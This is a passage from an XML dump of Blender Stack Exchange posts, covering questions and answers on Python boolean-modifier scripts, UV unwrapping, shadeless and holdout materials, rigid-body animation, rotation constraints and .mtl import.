Boolean modifier(s) in the stack for subsequent operations. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now here is the current script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;def deleteAll():&#xA;    bpy.ops.object.select_all(action = 'SELECT')&#xA;    bpy.ops.object.delete()&#xA;&#xA;def createBoard():&#xA;    # prepare some constants&#xA;    BOARD_WIDTH  = 22.7&#xA;    BOARD_HEIGHT = 22.7&#xA;    BOARD_DEPTH  = 1.5&#xA;    SPHERE_DIAMETER = 1.9&#xA;    SPHERE_PADDING  = 0.5&#xA;    DITCH_DIAMETER = 2.5&#xA;    DITCH_PADDING  = 0.8&#xA;    # create platform&#xA;    origin = (0,0,0)&#xA;    bpy.ops.mesh.primitive_cube_add(location=origin)&#xA;    platform = bpy.context.active_object&#xA;    platform.scale = (BOARD_WIDTH/2,BOARD_HEIGHT/2,BOARD_DEPTH/2)&#xA;    # create spheres&#xA;    for i in [-2,-1,1,2]:&#xA;        for j in [-2,-1,1,2]:&#xA;            x = (SPHERE_DIAMETER + SPHERE_PADDING)*(i - copysign(.5,i));&#xA;            y = (SPHERE_DIAMETER + SPHERE_PADDING)*(j - copysign(.5,j));&#xA;            z = BOARD_DEPTH/2&#xA;            difference(platform,createSphere(x,y,z,SPHERE_DIAMETER/2))&#xA;    # create ditch&#xA;    xMax = BOARD_WIDTH/2  - DITCH_PADDING - DITCH_DIAMETER/2&#xA;    xMin = -xMax&#xA;    yMax = BOARD_HEIGHT/2 - DITCH_PADDING - DITCH_DIAMETER/2&#xA;    yMin = -yMax&#xA;    z = BOARD_DEPTH/2&#xA;    r = DITCH_DIAMETER/2&#xA;    ring = createCylinder(xMin,0,z,r,xMax,[math.pi/2,0,0])&#xA;    union(ring,createSphere(xMin,yMin,z,r))&#xA;    union(ring,createCylinder(0,yMin,z,r,xMax,[0,math.pi/2,0]))&#xA;    union(ring,createSphere(xMax,yMin,z,r))&#xA;    union(ring,createCylinder(xMax,0,z,r,yMax,[math.pi/2,0,0]))&#xA;    union(ring,createSphere(xMax,yMax,z,r))&#xA;    union(ring,createCylinder(0,yMax,z,r,yMax,[0,math.pi/2,0]))&#xA;    union(ring,createSphere(xMin,yMax,z,r))&#xA;    difference(platform,ring) # this leads to unexpected result&#xA;&#xA;def createSphere(x, y, z, r):&#xA;    origin = (x,y,z)&#xA;    bpy.ops.mesh.primitive_uv_sphere_add(location=origin)&#xA;    sphere = bpy.context.active_object&#xA;    sphere.scale = (r,r,r)&#xA;    return sphere&#xA;&#xA;def createCylinder(x, y, z, r, height, rotation):&#xA;    origin = (x,y,z)&#xA;    bpy.ops.mesh.primitive_cylinder_add(location=origin)&#xA;    cylinder = bpy.context.active_object&#xA;    cylinder.scale = (r,r,height)&#xA;    cylinder.rotation_mode = 'XYZ'&#xA;    cylinder.rotation_euler = rotation&#xA;    return cylinder&#xA;&#xA;def difference(first,second):&#xA;    modifier = first.modifiers.new('Modifier', 'BOOLEAN')&#xA;    modifier.object = second&#xA;    modifier.operation = 'DIFFERENCE'&#xA;    bpy.ops.object.modifier_apply(apply_as='DATA', modifier=modifier.name)&#xA;    scene = bpy.context.scene&#xA;    scene.objects.unlink(second)&#xA;&#xA;def union(first,second):&#xA;    modifier = first.modifiers.new('Modifier', 'BOOLEAN')&#xA;    modifier.object = second&#xA;    modifier.operation = 'UNION'&#xA;    bpy.ops.object.modifier_apply(apply_as='DATA', modifier=modifier.name)&#xA;    #scene = bpy.context.scene&#xA;    #scene.objects.unlink(second)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    deleteAll()&#xA;    createBoard()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1668" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-04-20T20:37:28.167" Title="Why does attached Python script produce error &quot;Cannot execute boolean operation&quot;?" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5096" PostTypeId="2" ParentId="5083" CreationDate="2013-11-24T21:24:48.437" Score="3" Body="&lt;p&gt;You could use a callback to detect changes to the filepath field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def update_texture(self, context):&#xA;    print(&quot;New image:&quot;, self.MyPath)&#xA;&#xA;bpy.types.Scene.MyPath = StringProperty(name=&quot;Browse Image:&quot;,&#xA;   attr=&quot;custompath&quot;,# this a variable that will set or get from the scene&#xA;   description=&quot;simple file path&quot;,&#xA;   maxlen= 1024,&#xA;   subtype='FILE_PATH',&#xA;   default= &quot;&quot;,&#xA;   update=update_texture) # callback&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that callback, you would texture the mesh. It really depends on your situation how to go from here, since there could be UV mapping or Cycles textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of a mesh with UV mapping, note the difference between&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.context.object.data.polygons[#].material_index&lt;/code&gt;, which tells you the # of the material (&lt;code&gt;ob.data.materials[#]&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;and the image assigned to a face for UV mapping (&lt;code&gt;ob.data.uv_textures.active.data[poly#].image&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may wanna add a new material to the mesh object:&#xA;&lt;code&gt;ob.data.materials.append(mat)&lt;/code&gt;, which you need to create beforehand: &lt;code&gt;mat = bpy.data.materials.new(...)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use an existing material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Active material slot's material: &lt;code&gt;ob.active_material&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First slot's material (if there is one):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try:&#xA;    slot1 = ob.material_slots[0]&#xA;except KeyError:&#xA;    return&#xA;mat = slot1.material&#xA;if mat is not None:&#xA;    # there is a mat in first slow and it has a material&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can load your image from filepath as image datablock and assign it for UV mapped meshes to &lt;code&gt;uv_textures...image&lt;/code&gt;, or figure out the index and assign to &lt;code&gt;Polygon.material_index&lt;/code&gt; (or both).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the index e.g. like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def material_index(me, material):&#xA;    for i, mat in enumerate(me.materials):&#xA;        if mat == material:&#xA;            return i&#xA;    else:&#xA;        return None # or -1 or 0??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may wanna look at the code of the &lt;a href=&quot;https://svn.blender.org/svnroot/bf-extensions/trunk/py/scripts/addons/space_view3d_materials_utils.py&quot; rel=&quot;nofollow&quot;&gt;Material Utils addon&lt;/a&gt;, which transfers material assignments from Polygon.material_index to UV editor (uv_textures...image) or the other way around.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-11-24T21:24:48.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5098" PostTypeId="1" AcceptedAnswerId="5103" CreationDate="2013-11-24T22:03:59.810" Score="1" ViewCount="4684" Body="&lt;p&gt;Is there a way to use &lt;em&gt;Project from view&lt;/em&gt; without the resulting UVs scaled to match the aspect ratio of the image? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I unwrap with &lt;em&gt;Project from view&lt;/em&gt; the result looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/79KAz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to be exactly how the mesh appears in the 3D view, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cc8P4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-28T01:27:00.880" Title="Is there a way to unwrap a mesh without scaling the UVs to match the aspect ratio of the texture?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5099" PostTypeId="1" AcceptedAnswerId="5101" CreationDate="2013-11-24T22:38:34.673" Score="17" ViewCount="14921" Body="&lt;p&gt;I need to make a plane in the background that is independent of any lighting in the scene. This means that it does not emit light, and it does not reflect light, but it is visible. It is so I can create a green screen.&lt;/p&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="12" LastEditDate="2013-11-24T22:55:31.830" LastActivityDate="2013-11-26T04:53:12.133" Title="How to create a visible material that does not emit or reflect light?" Tags="&lt;materials&gt;&lt;light&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5100" PostTypeId="1" AcceptedAnswerId="5102" CreationDate="2013-11-24T22:40:07.690" Score="27" ViewCount="25171" Body="&lt;p&gt;I'm trying to create a bowling animation and I want the ball to hit the pins.&#xA;I already added the Rigid Body physics to the objects but can't get the ball to move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I could just add keyframes but&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;that seems to interfere with the Rigid Body physics&lt;/li&gt;&#xA;&lt;li&gt;it doesn't look too realistic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add some kind of motion to the ball?&lt;/p&gt;&#xA;" OwnerUserId="1681" LastEditorDisplayName="user1853" LastEditDate="2016-06-25T15:31:22.290" LastActivityDate="2021-04-09T19:46:12.813" Title="How can I add motion to a rigid body?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5101" PostTypeId="2" ParentId="5099" CreationDate="2013-11-24T22:41:38.237" Score="16" Body="&lt;p&gt;For &lt;strong&gt;Blender Internal&lt;/strong&gt;, on your material, check &lt;em&gt;Shadeless&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/780wc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using &lt;strong&gt;Cycles&lt;/strong&gt;, open your material in the node editor, and set up this for a green screen:&#xA;Basically this tells the material to only interact with the camera, and no other rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pyDUO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1574" LastEditorUserId="1574" LastEditDate="2013-11-24T23:02:09.230" LastActivityDate="2013-11-24T23:02:09.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5102" PostTypeId="2" ParentId="5100" CreationDate="2013-11-24T23:23:55.023" Score="37" Body="&lt;p&gt;Using keyframes is the only way I know of to do this currently, but you should be able to get good results by allowing the rigidbody object to be controlled by the animating system, then switching control back to the physics system while maintaining momentum gained from the keyframe animation.&lt;/p&gt;&#xA;&lt;p&gt;This can be done by animating the &lt;em&gt;Animated&lt;/em&gt; option in &lt;em&gt;Physics &amp;gt; Rigid Body&lt;/em&gt;.&lt;br /&gt;&#xA;See the &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Animation&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The most common trick is to keyframe animate the location or rotation of an Active physics object as well as the Animated checkbox. When the curve on the Animated property switches to disabled, the physics engine takes over using the object's last known location, rotation and velocities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/1552/599&quot;&gt;this post&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Animated&lt;/em&gt; on your rigidbody object and insert a keyframe by right clicking on the check box and selecting &lt;em&gt;Insert Keyframe&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vJVkf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the same frame, add a location keyframe (or rotation if you want some angular momentum) to the rigid body object&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to a later frame and insert another location keyframe&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the same frame, disable &lt;em&gt;Animated&lt;/em&gt; and insert a keyframe by right clicking on the &lt;em&gt;Animated&lt;/em&gt; checkbox and selecting &lt;em&gt;Insert Keyframe&lt;/em&gt; again.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The motion from the keyframed animation will be carried over to the motion of the object as it is controlled by the physics system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7acCa.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that while &lt;em&gt;Animated&lt;/em&gt; is enabled the object will still interact with other rigid bodies, however its motion will be controlled by the animation system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/135/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=135&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="19307" LastEditDate="2021-04-09T19:46:12.813" LastActivityDate="2021-04-09T19:46:12.813" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="5103" PostTypeId="2" ParentId="5098" CreationDate="2013-11-24T23:37:02.527" Score="4" Body="&lt;p&gt;It is possible. Plain &lt;em&gt;UV Unwrap&lt;/em&gt; and &lt;em&gt;Project from View&lt;/em&gt; commands have the option &lt;strong&gt;Correct Aspect&lt;/strong&gt; to take into account currently displayed image's aspect ratio. The image must already be opened and displayed in the Image Editor before unwrapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; It seems this feature only works correctly, when the active render engine is anything &lt;em&gt;but&lt;/em&gt; &lt;strong&gt;Cycles&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking &lt;strong&gt;Orthographic&lt;/strong&gt; also avoids perspective distortion if you happen to unwrap from &lt;em&gt;Ortho&lt;/em&gt; view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zx3Zy.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Ortho&lt;/em&gt; or not, the resulting UV map is always of the right proportion by using &lt;strong&gt;Correct Aspect&lt;/strong&gt;, even on images with aspect ratio far from 1:1 (this one after scaling down the UV map proportionally):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4tLOA.png&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-11-25T02:24:14.613" LastActivityDate="2013-11-25T02:24:14.613" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5104" PostTypeId="2" ParentId="5099" CreationDate="2013-11-25T11:40:11.617" Score="11" Body="&lt;p&gt;You don't need to use a shadeless green material to simulate a green screen. You can use an object to create a mask to use in compositing. If your not compositing in blender then these can also help with other applications, by saving the frames with alpha channels you have already cut out bits that you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cycles you can use a holdout shader. The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&quot; rel=&quot;noreferrer&quot;&gt;blender wiki&lt;/a&gt; describes the holdout shader as -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A holdout shader is useful for compositing, to create a &quot;hole&quot; in the image with zero alpha transparency where the object with this shader is located.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Blender Internal has a similar feature by choosing &lt;a href=&quot;http://wiki.blender.org/index.php/User:Rking/Doc:2.6/Manual/Materials/Properties/Mask_Transparency&quot; rel=&quot;noreferrer&quot;&gt;Mask under Transparency options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mask Transparency is a special kind of transparency. Instead of making objects transparent/translucent, it hides the geometry behind it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pgzwY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is obviously easy and helpful if you render to an image format that supports alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option that is available in both cycles and blender internal is Pass Indexes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These can be set in the material properties for Blender internal -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7fTM5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and cycles -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kPrhP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can set a pass index for an entire object -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pp0GQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access them you need to enable Material or Object Index in the Render Layers -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NGlcJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the compositor you use an ID Mask node to get an alpha mask of the material or object -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YDVJY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are rendering out to file for another application then you can use this mask to cutout the section you want and save with an alpha channel the same as when using a holdout material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pass index supplied to each material needs to match the index used in the ID Mask node. You can apply these to multiple objects and materials at the same time and can use more than one index id to handle each mask separately.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2013-11-26T04:53:12.133" LastActivityDate="2013-11-26T04:53:12.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5105" PostTypeId="1" CreationDate="2013-11-25T12:13:46.490" Score="11" ViewCount="4717" Body="&lt;p&gt;I want to create a short 3D animation series. I found out about source filmmaker but as time goes on I am starting to look elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be a simple male character, holding a monologue behind a desk. I would want to save certain gestures for use later&amp;nbsp;— for example, once I get a few different goodbye waves, I might not need to create another and being able to recall or save old gestures would be great. It also would be the same scene (sitting behind a desk).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started off with using source filmmaker, but as I learn more about it I realize I will be using custom stuff anyway and it might be smarter in the long run to start with something like Blender instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can tell I'm totally new and realize that it will take months before I am ready, but I figure I'll ask as I want to make sure I'm heading in the right direction. &lt;/p&gt;&#xA;" OwnerUserId="1683" LastEditorUserId="1977" LastEditDate="2013-12-27T20:48:08.907" LastActivityDate="2017-11-04T09:33:49.817" Title="I want to make animations, is Blender the right program for me?" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" CommunityOwnedDate="2013-11-25T15:05:32.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="5106" PostTypeId="2" ParentId="5105" CreationDate="2013-11-25T12:50:39.093" Score="3" Body="&lt;p&gt;You can do all of what you want to do with Blender. I believe Blender has the ability to save gestures, and it's animation tools are pretty nice. I know you can save frames, and then go back to them later, so if nothing else you could copy and paste.&lt;/p&gt;&#xA;" OwnerUserId="1250" LastActivityDate="2013-11-25T12:50:39.093" CommentCount="0" CommunityOwnedDate="2013-11-25T15:05:32.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="5107" PostTypeId="2" ParentId="5105" CreationDate="2013-11-25T12:51:17.843" Score="12" Body="&lt;p&gt;Blender is definitely a good program to use, seeing your purpose. It just needs a bit of patience and practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And  about saving actions — it can be done using the action editor in the Blender interface, so that you can use it multiple times. Though you should go through some tutorials on how to do this. There are numerous tutorials on YouTube that explain this functionality. Here's &lt;a href=&quot;http://www.youtube.com/watch?v=Gb152Qncn2s&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;a link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1430" LastEditorUserId="1977" LastEditDate="2013-12-27T20:46:11.270" LastActivityDate="2013-12-27T20:46:11.270" CommentCount="0" CommunityOwnedDate="2013-11-25T15:05:32.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="5108" PostTypeId="1" AcceptedAnswerId="5109" CreationDate="2013-11-25T13:40:49.147" Score="5" ViewCount="3324" Body="&lt;p&gt;I'm making a little animation with some gears. I want that if I rotate the first gear, all the gears rotate with the gain given by the gears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For doing that I've choose the copy rotation constraint. But in my case, sometime a gear turn one time and the second turn tiwce. With the copy roation I can only put an influence between 0 and 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is : Is there a way to put a copy rotation constraint with an influence higher than 1? Or is there an other solution to do what I want?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2019-06-20T04:21:54.357" Title="Is there a way to put a copy rotation constraint with an influence higher than 1?" Tags="&lt;constraints&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5109" PostTypeId="2" ParentId="5108" CreationDate="2013-11-25T13:57:39.783" Score="9" Body="&lt;p&gt;1.0 is the maximum influence for any given constraint, so setting it beyond 1.0 is impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;strong&gt;Transformation&lt;/strong&gt; constraint, you could easily map any kind of simple transformation from one object to the other. In the following example, the object being constrained will rotate twice the amount of &lt;code&gt;Cube_target&lt;/code&gt;'s rotation in the Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GUjqv.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking &lt;strong&gt;Extrapolation&lt;/strong&gt; will extend the transformation beyond stated range of values.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-25T13:57:39.783" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5110" PostTypeId="1" CreationDate="2013-11-25T14:42:16.457" Score="35" ViewCount="172065" Body="&lt;p&gt;I am new to Blender. I downloaded a &lt;code&gt;.obj&lt;/code&gt; file of a plant model. When I unzipped it I found two files (&lt;code&gt;.obj&lt;/code&gt; and &lt;code&gt;.mtl&lt;/code&gt;). &#xA;I imported the .obj file and I couldn't do the same with the &lt;code&gt;.mtl&lt;/code&gt; to apply the material and the textures.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="12" LastEditDate="2013-11-26T05:03:49.403" LastActivityDate="2017-04-11T02:51:17.923" Title="How to import a .mtl file?" Tags="&lt;objects&gt;&lt;import&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="5111" PostTypeId="2" ParentId="5110" CreationDate="2013-11-25T15:12:25.390" Score="30" Body="&lt;p&gt;When you import the &lt;code&gt;.obj&lt;/code&gt; file, Blender will also import the associated &lt;code&gt;.mtl&lt;/code&gt; file* by default as well which is usually the same name. The colors applied to the model will show in the viewport and to see the texture(s) (if any), enable texture shading with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;* &lt;em&gt;This is the file that should be generated alongside the obj when it was created and will hold color data and paths to textures if any. Opening the obj file in a text editor should show this near the top.&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2017-04-11T02:51:17.923" LastActivityDate="2017-04-11T02:51:17.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5112" PostTypeId="2" ParentId="5069" CreationDate="2013-11-25T16:04:38.837" Score="3" Body="&lt;p&gt;You could also assign two materials to the object and assign them based on your vertex selection in edit mode.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PqAUW.jpg&quot; alt=&quot;two-materials on one object&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1456" LastActivityDate="2013-11-25T16:04:38.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5113" PostTypeId="1" AcceptedAnswerId="5114" CreationDate="2013-11-25T16:40:55.487" Score="14" ViewCount="12951" Body="&lt;p&gt;How to make one object gradually disappear as it passes through some object (e.g. teleportation gates)? How to make it gradually appear in other gates?&lt;/p&gt;&#xA;" OwnerUserId="98" LastEditorUserId="599" LastEditDate="2013-11-26T00:08:32.363" LastActivityDate="2017-12-01T18:52:25.867" Title="How to make one object gradually disappear as it passes through another object" Tags="&lt;animation&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5114" PostTypeId="2" ParentId="5113" CreationDate="2013-11-25T17:28:52.447" Score="17" Body="&lt;p&gt;For a basic effect, you could animate the transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost all UI properties are animatable, You can keyframe them by right clicking and selecting &lt;em&gt;Insert Keyframe&lt;/em&gt; (&lt;kbd&gt;1&lt;/kbd&gt; or &lt;kbd&gt;I&lt;/kbd&gt;), or hovering over the value pressing &lt;kbd&gt;I&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/176/how-can-i-animate-my-cycles-shaders&quot;&gt;How can I animate my Cycles shaders?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/164/can-modifiers-such-as-subdivision-and-array-be-animated&quot;&gt;Can modifiers such as &amp;quot;Subdivision&amp;quot; and &amp;quot;Array&amp;quot; be &amp;quot;animated&amp;quot;?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could keyframe the transparency out as your object enters one gate, then keyframe the object location to move it to the other gate (or use a duplicate object) and keyframe the transparency back.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can do this in Cycles by using a mix node and animating the factor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fanpg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This can be done in BI by enabling &lt;em&gt;Transparency&lt;/em&gt; in &lt;em&gt;Properties &gt; Materials&lt;/em&gt; and animating the &lt;em&gt;Alpha&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tzu83.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Other methods:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Another way you could try is using a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Boolean&lt;/em&gt; modifier&lt;/a&gt; to remove parts of the object as it intersects it. You could then have a duplicate of the object moving out of another boolean cube to make it appear the sections are teleporting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RzUWL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" 